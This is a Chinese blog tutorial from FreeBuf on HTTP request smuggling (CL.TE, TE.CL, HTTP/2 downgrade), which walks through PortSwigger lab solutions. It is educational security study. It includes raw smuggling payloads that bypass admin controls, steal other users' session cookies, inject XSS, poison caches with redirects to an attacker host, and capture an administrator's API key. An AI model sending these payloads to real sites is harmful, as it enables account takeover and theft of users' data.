freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

高级漏洞篇之HTTP请求走私专题
2023-08-19 00:25:09

今天的内容是史诗级的,篇幅是前面专题的估计有3倍吧,求求大家感兴趣的一定要坚持学下来,这样才对得起梨子的写稿啊!!!

声明

该系列共三篇,26个专题(截止2023.8.10),其中有21个专题的大部分内容已于2021年7-9月首发于安全客,由于某些原因,该系列后续更新部分梨子打算转投Freebuf社区(下称"社区")。因后续更新部分的部分内容为这21个专题中的,故在转投社区时会将更新部分一并加入对应的专题中,所以会与发布于安全客的版本略有出入,会更完整,望周知。
注:本篇为Freebuf首发

本系列介绍

PortSwigger是信息安全从业者必备工具burpsuite的发行商,作为网络空间安全的领导者,他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场),在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习,本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考,希望能对初学者们有所帮助。

梨子有话说

梨子也算是Web安全初学者,所以本系列文章中难免出现各种各样的低级错误,还请各位见谅,梨子创作本系列文章的初衷是觉得现在大部分的材料对漏洞原理的讲解都是模棱两可的,很多初学者看了很久依然是一知半解的,故希望本系列能够帮助初学者快速地掌握漏洞原理。

高级漏洞篇介绍

相对于服务器端漏洞篇和客户端漏洞篇,高级漏洞篇需要更深入的知识以及更复杂的利用手段,该篇也是梨子的全程学习记录,力求把漏洞原理及利用等讲的通俗易懂。

什么是HTTP请求走私?

所谓HTTP请求走私攻击,顾名思义,就会像走私一样在一个HTTP请求包中夹带另一个或多个HTTP请求包,在前端看来是一个HTTP请求包,但是到了后端可能会被解析器分解开从而导致夹带的HTTP请求包也会被解析,最终可以导致未授权访问敏感数据或攻击其他用户。

那么一次HTTP请求走私攻击会发生什么呢?

现如今,在前端与处理应用程序逻辑的后端之间往往会有其他中转服务器,用户在前端提交请求,由中转服务器进行中转,但是就像传话一样,总会有差错意的情况,中转请求也会如此,比如之前讲的把多个HTTP请求捆成一个提交,但是中转服务器可能会将这些请求拆解开,一个一个转发给目标服务器,此时就可能因为解析了多余的HTTP请求而导致各种意外,不仅是多个HTTP压缩成一个HTTP请求的情况,有时候将两个模棱两可的HTTP请求发出,但是有可能因为中转服务器差错意而错误拼接它们也会导致意外。

那么HTTP请求走私是如何产生的呢?

大多数HTTP请求走私漏洞的出现是因为HTTP规范提供了两种不同的方法指定请求的结束位置

  • Content-Length头

  • Transfer-Encoding头

Content-Length头以字节为单位指定消息正文的长度,例如

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

Transfer-Encoding头一般指定邮件正文使用分块编码,例如

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
q=smuggling
0

每个块之间以换行符分割开,直到块大小为0字节时视为正文的结束,就是因为这两种不同的方法来指定HTTP消息的长度,就导致如果同时使用这两个头会造成冲突,HTTP规范中规定,如果两个头同时存在则忽略Content-Length头,此时如果出现一下两种情况:

  • 一些服务器不支持Transfer-Encoding头

  • 如果对头做了混淆处理则有些服务器虽然支持Transfer-Encoding头也不会处理它

怎么发动一次HTTP请求走私攻击呢?

HTTP请求走私攻击大致分为三种,CL.TE、TE.CL、TE.TE

CL.TE漏洞

首先请求包中需要同时包含CL头(Content-Length)和TE头(Transfer-Encoding),我们参考如下示例

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

从上面这一个HTTP请求包来看,CL头设置的是13,即从正文开始算包含13个字节的内容为止算是一个请求包,但是当这个请求包发到后端服务器时会采用TE头来处理请求包,此时会因为0的下一行是空行而认为该请求包已经结束了,那么多出来的内容怎么办呢?会被认为是下一个请求包的开始,此时则会产生HTTP请求走私攻击

配套靶场:HTTP请求走私攻击中的基础CL.TE漏洞

因为是CL.TE攻击,所以我们直接构造如下paylaod
image.png
CL头的值为6,就是包含三行共六个字节(包括换行符),TE头指定了使用分块编码,发送两次请求包,成功因为前后端处理方式不同而导致HTTP走私攻击
image.png

TE.CL漏洞

这一种就是前端服务器使用TE头处理,而后端服务器使用CL头处理,我们参考如下示例

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

原理就是前端服务器通过使用TE头指定的分块编码来分割处理请求包,既然是分块编码,就得指定每个分块的大小,就如上述代码所示,第一个分块大小为8字节长,第二个分块大小为0,分块编码会一直读取直到分块大小为0,所以以上的请求包会被前端当成一个请求包转发到后端服务器,但是到了后端服务器会因为CL头指定的长度仅包括了8及后面的CLRF字符而将这个请求包分割成两个处理,这就导致了HTTP请求走私漏洞

配套靶场:HTTP请求走私攻击中的基础TE.CL漏洞

因为我们已经知道了漏洞类型,我们可以直接构造payload
image.png
这里有一个需要注意的,就是在0的后面要添加两个空行,然后就也会因为前后端对HTTP请求方式不同而导致HTTP走私攻击
image.png

TE.TE漏洞:混淆TE头

现在的场景是虽然前后端都支持TE头,但是可以通过某种混淆手段让某一端不处理TE头,例如

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

下面我们通过一道靶场来深入理解这种攻击手段

配套靶场:HTTP请求走私攻击中的混淆TE头

我们只要对两个TE头做混淆,所以我们构造如下paylaod
image.png
我们看到有两个TE头,但是有一个TE头是做了混淆的,所以就会导致在后端的时候不使用TE头来处理此时会转而采用CL头处理,从而将一个HTTP请求拆分成两个,导致HTTP走私攻击
image.png

寻找HTTP请求走私攻击

利用计时技术发现HTTP请求走私漏洞

利用计时技术发现CL.TE漏洞

当同时存在CL头和TE头时,如果请求包正文的长度大于CL头指定的长度,则会导致请求包只有CL头指定长度内的内容,从而导致后端服务器因为采用TE头处理而一直等待后续请求包,最终会导致超时,故可以证明存在CL.TE漏洞,例如

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

利用计时技术发现TE.CL漏洞

这种漏洞也是,如果正文是被空行分隔的两部分则也会导致仅发出不完整的请求导致后端服务器在利用CL头接收请求包时等待,直到超时,则可以证明存在TE.CL漏洞,例如

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

值得注意的是如果应用程序可能受到CL.TE攻击,那么针对TE.CL漏洞的利用计时技术的测试可能会干扰其他应用程序用户。因此,要保持隐蔽并最大程度地减少超时现象,应该首先使用CL.TE测试,只有在第一次测试不成功时才继续进行TE.CL测试。

利用响应差异确认HTTP请求走私漏洞

发送两次请求,第一个是魔改的请求包,第二个是正常的请求,这样就能用第一个请求干扰后端服务器对第二个请求包的处理

利用响应差异确认CL.TE漏洞

因为是CL.TE,所以在第一个请求包结束以后加入一个空行再开始编写第二个请求包,像这样

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: x

第一次发送这个请求包会因为后端服务器利用TE头处理而将第二个请求包作为单独的请求包处理,但是第二个请求包又不完整,所以会等待后续的请求包,当第二次发送请求后会将上一次的剩余的请求头与这一次请求包合并起来处理,此时会接收到异常的响应,就能判断存在CL.TE漏洞,像这样

GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

配套靶场:利用响应差异确认HTTP请求走私中的CL.TE漏洞

因为是CL.TE,所以可以这样构造payload
image.png
发送两次以后,就会触发HTTP请求走私漏洞
image.png

利用响应差异确认TE.CL漏洞

因为是TE.CL漏洞,所以CL头设置为第一个请求包之内的长度,TE头设置为分块编码,像这样

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

值得注意的是0后面有一个\r\n\r\n,然后在Repeater中关闭了自动填充,这样就能走私出第二个请求包,然后第二个请求包中也会有一个CL头,这个CL头要足够大到能包含下一个接收到的请求包,此时会导致虽然第二次发出的是正常的请求包,也会因为与之前走私的请求包合并而接收到走私请求包应收到的响应,就判断存在TE.CL漏洞,像这样

GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

x=
0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

配套靶场:利用响应差异确认HTTP请求走私中的TE.CL漏洞

因为是TE.CL漏洞,所以可以构造如下paylaod
image.png
发送两次请求即可触发HTTP请求走私攻击
image.png

在尝试通过干扰其他请求确认请求走私漏洞时的一些重要的考虑因素

  • 应使用不同的网络连接发送攻击请求和正常请求

  • 攻击请求和正常请求应尽可能使用相同的URL和参数名称,这样大概率会将它们转发到相同的后端服务器

  • 在发送了攻击请求之后应尽可能立即发送正常请求,因为可能有其他请求与之竞争

  • 如果应用系统部署了负载均衡,可能要多发几次,因为可能会被转发到不同的后端服务器

  • 如果虽然成功干扰了后续的请求但是收到的响应并不是预期的,可能有真实用户遭受到了攻击

利用HTTP请求走私漏洞

利用HTTP请求走私绕过前端安全控制

一些应用系统的前端配置了某些安全控制,以决定是否允许将请求转发到后端服务器,所以如果请求通过了前端的安全控制,则会被后端服务器无条件接受,而不会进行其他的检查,这样的话就可以利用HTTP走私请求将恶意的请求包夹带在正常的请求包中送到后端服务器,例如

POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com

配套靶场1:利用CL.TE绕过前端安全控制的HTTP请求走私攻击

因为前端服务器会拒绝转发/admin的请求,但是可以利用CL.TE请求走私来让/admin的请求进入后端服务器,所以我们构造如下paylaod
image.png
从截图来看/admin请求已经可以传到后端服务器了,但是页面提示只有本地用户才能访问,于是我们再修改一下payload
image.png
但是我们发现因为两个请求包的Host头不同而被拒绝了,所以我们需要再修改一下payload
image.png
我们发现只要将第二个请求包修改成一个正常的请求包即可会被后端服务器当成一个新的请求包来解析,我们看到了删除用户的URL,于是我们修改一下URL重新发送请求,即可成功删除指定用户
image.png

配套靶场2:利用TE.CL绕过前端安全控制的HTTP请求走私攻击

我们采用相同的方式构造payload,但是我们需要把自动更新CL头的值关掉,因为我们要利用后端服务器通过CL头分割请求包来让第二个请求包走私出来,于是我们这样构造payload
image.png
然后为了被后端服务器识别为本地用户我们还需要再修改一下请求包
image.png
我们看到我们已经被识别为本地用户并且进入admin页面了,于是我们就能修改URL删除指定用户了
image.png

回显前端对请求重写的过程

有一些应用系统会在将请求转发到后端服务器之前对请求做一些重写,如

  • 终止TLS连接并加入一些头部描述使用的协议和加密算法

  • 添加一个包含用户IP地址的X-Forwarded-For头部

  • 基于用户会话令牌决定用户ID并添加一个识别用户的头

  • 添加一些其他攻击感兴趣的敏感信息

有时候如果走私请求缺少由前端服务器添加的头的话可能会导致走私请求攻击失败,所以我们需要利用某些手段回显前端服务器重写的方式,如

  • 寻找一个可以把请求的参数值反馈到响应中的POST请求

  • 移动参数以使它们会反馈在消息正文中的最后面

  • 构造发往后端服务器的走私请求,紧接着一个普通的请求以使得到回显

我们关注这样的一个请求包

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

email=wiener@normal-user.net

响应会包含下面这条
<input id="email" value="wiener@normal-user.net" type="text">
我们可以通过HTTP请求走私攻击获得重写的结果,像这样

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

email=POST /login HTTP/1.1
Host: vulnerable-website.com
...

请求将由前端服务器重写以包含额外的头,然后后端服务器将处理走私的请求并将重写的第二个请求视为电子邮件参数的值,像这样

<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...

由于最后的请求正在被重写,我们不知道什么时候结束。CL头中的值将决定后端服务器相信该请求的时间。如果值设置得太短,就只会收到部分重写的请求;如果设置太长,后端服务器将超时等待请求完成。解决的方法就是猜测一个比提交的请求大一点的初始值,然后逐渐增大该值直到得到所有的信息。

配套靶场:利用HTTP请求走私回显前端对请求重写的过程

我们看到一个搜索框,那么这可能存在HTTP请求走私漏洞点,所以我们这样构造payload
image.png
我们发现由前端重写的请求包会被反馈在响应中,说明我们成功通过HTTP请求走私漏洞获取到了前端服务器用来指定来源IP的字段名,我们就可以伪造成本地用户了,于是我们这样修改请求包
image.png
我们已经看到了删除指定用户的URL,所以我们再次修改请求包,成功删除指定用户
image.png

绕过客户端验证

作为TLS握手的一部分,服务器通过提供证书向客户端(通常是浏览器)验证自身身份。证书包含"通用名称"(CN),该名称应与其注册的主机名相匹配。然后,客户端可以使用它来验证他们是否正在与属于预期域的合法服务器进行通信。
有些站点更进一步,实现了一种相互TLS身份验证,其中客户端还必须向服务器提供证书。在这种情况下,客户端的CN通常是用户名等,其可以在后端应用程序逻辑中用作例如访问控制机制的一部分。
对客户端进行身份验证的组件通常通过一个或多个非标准HTTP头将相关详细信息从证书传递到应用程序或后端服务器。例如,前端服务器有时会将包含客户端CN的头附加到任何传入请求:

GET /admin HTTP/1.1
Host: normal-website.com
X-SSL-CLIENT-CN: carlos

由于这些头应该对用户完全隐藏,因此后端服务器默认是完全信任这些头的。假设能够发送头和值的正确组合,这可能会绕过访问控制。
实际上,这种行为通常无法被利用,因为前端服务器往往会覆盖这些头(如果它们已经存在)。但是,走私的请求对前端完全隐藏,因此它们包含的任何头都将原封不动地发送到后端。这样的走私请求大概长这样:

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator
NaTsUk0: x

窃取其他用户的请求

有些应用程序包含任何允许存储和检索文本数据的功能,则可以利用HTTP请求走私来窃取其他用户的请求,原理与上一种利用方式相似,也是将其他用户的请求包作为参数值包含在响应中,burp官方以评论功能为例,即将请求包包含在用来存储评论内容的参数comment中,例如这样的提交评论的请求

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net

我们可以通过HTTP请求走私攻击将数据存储请求走私到后端,像这样

GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 324

0

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=

当后端服务器处理另一个用户的请求时,它会附加到走私的请求中,结果用户的请求被存储,包括受害用户的会话cookie和任何其他敏感数据,像这样

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
...

配套靶场:利用HTTP请求走私窃取其他用户的请求

因为有评论功能,所以我们构造如下payload,多试几次,就能成功窃取到其他用户的请求
image.png
image.png
我们成功获得了目标用户的cookie,然后用他的cookie登录
image.png

利用HTTP请求走私触发反射型XSS

利用HTTP请求走私触发反射型XSS有两个相对于普通反射型XSS的优点

  • 它不需要与受害者用户进行交互

  • 它可用于在请求的某些部分中利用XSS,如在HTTP请求头中

示例如下,通过UA注入XSS payload

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

下一个用户的请求将附加到走私的请求中,就会在响应中收到反射型XSS payload。

配套靶场:利用HTTP请求走私触发反射型XSS

因为题目已经告知我们要在UA头里面构造payload,所以我们构造如下请求包
image.png
然后发送两次请求以后即可触发HTTP请求走私攻击了,用户就会受到XSS攻击
image.png

利用HTTP请求走私将页面内重定向转变为开放重定向

首先我们看这样一个请求

GET /home HTTP/1.1
Host: normal-website.com

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

这是一个页面内重定向的请求,但是我们可以利用HTTP请求走私使其跳转到其他任意域,例如

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

后续的请求会被影响成这样

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

此处,用户请求的是由网站上的页面导入的JS文件。攻击者可以通过在响应中返回他们自己的JS来完全危害受害用户。

将根相对(root-relative)的重定向转换为开放重定向

在某些情况下,我们可能会遇到使用路径为Location头构造根相对URL的服务器级重定向,例如:

GET /example HTTP/1.1
Host: normal-website.com

HTTP/1.1 301 Moved Permanently
Location: /example/

如果服务器允许在路径中使用协议相关URL,则这仍然可以用于开放重定向:

GET //attacker-website.com/example HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: //attacker-website.com/example/

利用HTTP请求走私发动web缓存投毒

由上一种情况派生出,如果应用系统开启了缓存功能,在已经生成了重定向到恶意域的缓存以后,会影响到其他的用户,例如

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.com

走私的请求到达后端服务器,后端服务器像以前一样通过开放重定向进行响应。服务器会缓存/static/include.js的响应。

GET /static/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

当其他用户请求此 URL 时,他们会收到指向攻击者网站的重定向。

配套靶场:利用HTTP请求走私发动web缓存投毒

首先我们利用重定向原理观察一下是怎么构造的
image.png
然后我们就可以在Exploit Server中构造如下payload并修改请求包
image.png
image.png
于是我们再夹带一个请求包以使几乎所有页面都会被缓存,从而实现全范围的投毒
image.png
多点击几次即可缓存所有页面,因为所有页面都被投毒,导致用户的受到严重影响,所以危害还是很大的
image.png

利用HTTP请求走私发动Web缓存欺骗

Web缓存欺骗是将其他用户接收到的响应作为缓存,从而在缓存有效期内攻击者也能访问到该缓存中包含的敏感信息,这一点是与Web缓存投毒不同的。我们尝试这样构造攻击

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked

0

GET /private/messages HTTP/1.1
Foo: X

转发到后端服务器的另一个用户的下一个请求将附加到走私请求,包括会话cookie和其他头

GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...

服务器会缓存/static/some-image.png的响应,攻击者也能接收到这份缓存

GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...

但是这种攻击需要大量的请求才可能成功,因为不知道哪个URL会产生敏感信息。

配套靶场:利用HTTP请求走私发动Web缓存欺骗

先登录测试用户,然后知道了/account页面可以看到用户的API Key,所以我们可以这样构造payload
image.png
不断地重放包,然后得到以上响应以后要在隐私模式下访问首页,多刷新几次刷到加载出首页以后,点开burp中的Search功能,搜索Your API Key is直到出现以下情况
image.png
我们就得到了administrator的API Key了
image.png

进阶的请求走私

在本节,我们会特别关注:

  • 常见的HTTP/2如何实现启用一系列强大的新向量来进行请求走私,从而使许多以前安全的站点容易受到此类攻击。

  • 如何使用请求走私持续投毒响应队列,从而有效地实现全站接管。

  • 即使目标不会重用前端与后端服务器之间的连接,如何使用HTTP/2独占输入来构建高严重性攻击。

HTTP/2请求走私

HTTP/2消息长度

请求走私基本上是利用不同服务器解释请求长度的方式之间的差异。HTTP/2引入了一种单一的、强大的机制来执行这个操作,长期以来人们一直以为这种机制可以使其天生不受请求走私的影响。
虽然我们在Burp中看不到这一点,但是HTTP/2消息是作为一系列单独的"帧"通过网络发送的。每个帧之前都有一个明确的长度字段,它告诉服务器确切地读入多少字节。所以请求的长度是其帧长度的总和。
理论上讲,这种机制意味着只要网站端到端使用HTTP/2攻击者没有机会引入请求走私所需的歧义。然而,由于HTTP/2降级这种普遍但危险的做法,情况往往并非如此。

HTTP/2降级

由于HTTP/2仍然相对较新,支持它的Web服务器(中间件)通常仍然需要与仅支持HTTP/1的遗留后端基础设施进行通信。因此,前端服务器使用HTTP/1语法重写每个传入的HTTP/2请求,从而有效地生成其HTTP/1等效项的做法已成为一种常见做法。然后这个"降级"请求被转发到相关的后端服务器。
image.png
当使用HTTP/1的后端发出响应时,前端服务器会反转此过程以生成返回给客户端的HTTP/2响应。
这是可行的,因为协议的每个版本基本上只是表示相同信息的不同方式。HTTP/1消息中的每个项目在HTTP/2中都有一个近似等价物。
image.png
因此,服务器在两种协议之间转换这些请求和响应相对简单。事实上,这就是Burp能够使用HTTP/1语法在消息编辑器中显示HTTP/2消息的方式。
HTTP/2降级非常普遍,甚至是许多流行的反向代理服务的默认行为。在某些情况下,甚至没有禁用它的选项。

HTTP/2降级有哪些风险?

HTTP/2降级会使网站暴露于请求走私攻击,即使HTTP/2本身在端到端使用时通常被认为是免疫的。
HTTP/2内置的长度机制意味着,当使用HTTP降级时,可能存在三种不同的方式来指定同一请求的长度,这是所有请求走私攻击的基础。

H2.CL漏洞

HTTP/2请求不必在标头中明确指定它们的长度。在降级时,这意味着前端服务器通常会添加一个HTTP/1Content-Length头,使用HTTP/2的内置长度机制获取它的值。有趣的是,HTTP/2请求还可以包含它们自己的content-length头。
规范规定HTTP/2请求中的任何content-length头必须与使用内置机制计算的长度相匹配,但是在降级之前并不总是能得到正确验证。因此,可能会通过注入误导性的content-length头来进行走私请求。尽管前端将使用隐式HTTP/2长度来确定请求的结束位置,但HTTP/1后端必须引用从您注入的请求中派生的Content-Length头,从而导致不同步。
前端(HTTP/2)
image.png
后端(HTTP/1)
image.png
在执行某些请求走私攻击时,我们会希望将受害者请求中的头附加到走私前缀。但是,在某些情况下,这些可能会干扰我们的攻击,导致重复头错误等。在上面的示例中,我们通过在走私前缀中包含尾随参数和Content-Length头来缓解这种情况。通过使用比主体稍长的Content-Length头,受害者的请求仍将附加到走私的前缀,但会在头之前被截断。听了这些大家肯定懵逼的,我们通过一个靶场来理解整个过程吧。

配套靶场:H2.CL请求走私

题目说这道题前端服务器会将HTTP/2降级,题目的目标是通过请求走私攻击让受害者的浏览器加载并执行js代码获取alert(document.cookie)。首先我们要修改一下repeater的设置。
image.png
然后我们通过加一个Content-Length: 0头的方式尝试在HTTP/2的请求正文中走私任意前缀:

POST / HTTP/2
Host: [靶机ID].web-security-academy.net
Content-Length: 0

SMUGGLED

然后我们发现每发送两次这个请求就会收到一个404响应,这就说明后端确实会把后续请求附加到这个走私前缀后面。然后我们发现如果请求GET /resources会触发到/resources/的重定向。于是我们就把指向/resources的请求替换到那个走私前缀那里,然后host任意就行:

POST / HTTP/2
Host: [靶机ID].web-security-academy.net
Content-Length: 0

GET /resources HTTP/1.1
Host: natsuk0
Content-Length: 5

x=1

我们发现多发几次请求会触发指向任意host的重定向。
image.png
所以我们就可以利用这个让它重定向到我们写了恶意js代码的/resources请求,我们去Eploit Server的body中写入alert(document.cookie),路径就写/resources。然后把走私请求中的Host修改为Eploit Server的。然后多点几次重放,因为它每隔10秒才会发送一次。经过不知道多少次的重放,解题成功!
image.png

H2.TE漏洞

分块传输编码与HTTP/2不兼容,规范建议我们尝试注入的任何transfer-encoding: chunked头都应该被剥离或完全阻止请求。如果前端服务器未能做到这一点,并随后将对支持分块编码的HTTP/1后端的请求降级,这也可以发动请求走私攻击。
前端(HTTP/2)
image.png
后端(HTTP/1)
image.png
如果网站容易受到H2.CL或H2.TE请求走私的攻击,我们可能会利用此行为来执行我们在之前的请求走私靶场中涵盖的相同攻击。

特定于HTTP/2的攻击向量

由于HTTP/2是一个二进制协议而不是基于文本的协议,因此有许多潜在的向量由于其语法的限制而无法在HTTP/1中构建。这一小节主要讲其他像上面类似CLRF之类的特定于HTTP/2的攻击向量。

通过CRLF注入的请求走私

即使网站采用措施来防止基本的H2.CL或H2.TE攻击,例如验证content-length或剥离任何transfer-encoding头,HTTP/2的二进制格式也可以通过一些前沿的方法绕过这些前置措施。
在HTTP/1中,我们有时可以利用服务器处理独立换行符(\n)的方式之间的差异来走私禁止的头。如果后端将此视为分隔符,但前端服务器不这样认为,则某些前端服务器将根本无法检测到第二个头。像这样的:

Foo: bar\nTransfer-Encoding: chunked

处理完整的CRLF(\r\n)序列时不存在这种差异,因为所有HTTP/1服务器都同意这会结束头。
另一方面,由于HTTP/2消息是二进制的而不是基于文本的,每个头的边界是基于明确的、预定的偏移量而不是定界符。这意味着\r\n在头中不再具有任何特殊意义,因此可以包含在值本身中而不会导致头被拆分:
image.png
这本身似乎相对无害,但当它被重写为HTTP/1请求时,\r\n将再次被解释为头定界符。因此,HTTP/1后端服务器会识别成两个不同的头:

Foo: bar
Transfer-Encoding: chunked

配套靶场:通过CRLF注入的HTTP/2请求走私

题目说的是由于HTTP/2降级以及未能及时校验标头导致请求走私,目标是登录他人账号。这里我们先确认它是不是存在请求走私漏洞。因为常规的措施,它会剥离transfer-encoding头,所以我们用CRLF来逃逸一下,HTTP/2还不太一样,我们通过旁边的那个Inspector来添加头,像这样,需要注意的是CRLF是Shift+Enter
image.png
得到404的响应就说明是存在请求走私漏洞的,然后我们尝试通过巨长的CL头来把后续用户的请求包进来,也就是走私过来。我们这样构造body部分:

0

POST / HTTP/1.1
Host: [靶机ID].web-security-academy.net
Cookie: session=[靶机session]
Content-Length: 1000

search=x

我们重放以后如果是404,就马上刷新浏览器,如果是搜索结果我们要重放以后等15秒再刷新浏览器。然后如果搜索历史里是一个GET请求,那里面就包含着受害者的session,如果是POST请求,那可能是我们刷新太早了,我们需要重复上述步骤。经过不懈努力,终于拿到了受害者的session!如果发现session没带进来,可以适当调整CL头的值。
image.png
然后我们就可以成功登进他的账号了,解题成功,也是非常有趣的一道题啊,接管别人的账号原来这么爽啊!
image.png

通过头名注入

在HTTP/1中,头名不可能有冒号,因为该字符用于向解析器指示头名的结尾。而在HTTP/2中就不是这样。
通过将冒号与\r\n字符结合使用,我们可以使用HTTP/2头的名称字段让其他头通过前端过滤器。一旦使用HTTP/1语法重写请求,这些将在后端被解释为单独的头:
前端(HTTP/2)
image.png
后端(HTTP/1)
image.png\

通过伪头注入

HTTP/2不使用请求行或状态行。相反,此数据通过请求前面的一系列"伪头"传递。在HTTP/2消息的基于文本的表示中,这些通常以冒号为前缀,以帮助将它们与普通头区分开来。一共有五个伪头:

  • :method - 请求方法

  • :path - 请求路径。包括查询字符串。

  • :authority - 大致相当于HTTP/1Host头。

  • :scheme - 梨子暂且叫它协议头,一般为http、https

  • :status - 响应码(不会用在请求中)

当网站将请求降级为HTTP/1时,它们会使用其中一些伪头的值来动态构建请求行。这启用了一些有趣的新方法来构建攻击。

提供一个模棱两可的Host

尽管HTTP/1Host头已被HTTP/2中的:authority伪头有效替换,但我们仍然可以在请求中发送主机标头。
在某些情况下,这可能会导致在重写的HTTP/1请求中出现两个Host头,例如,这为绕过前端"重复Host头"过滤器提供了另一种可能性。这可能会使该站点容易受到一系列Host头攻击。

提供一个模棱两可的路径

由于请求行的解析方式,在HTTP/1中不可能尝试发送具有模棱两可的路径的请求。但由于HTTP/2中的路径是使用伪头指定的,因此现在可以发送具有两个不同路径的请求,如下所示:
image.png
如果由网站的访问控制验证的路径与用于路由请求的路径之间存在差异,这可能使我们能够访问原本不受限制的端点。

注入一个完整的请求行

在降级期间,:method伪头的值将被写入生成的HTTP/1请求的最开头。如果服务器允许在:method值中包含空格,我们可以注入一个完全不同的请求行,如下所示:
前端(HTTP/2)
image.png
后端(HTTP/1)
image.png
只要服务器还容忍请求行中的任意尾随字符,这就提供了另一种创建具有模棱两可的路径的请求的方法。

注入一个URL前缀

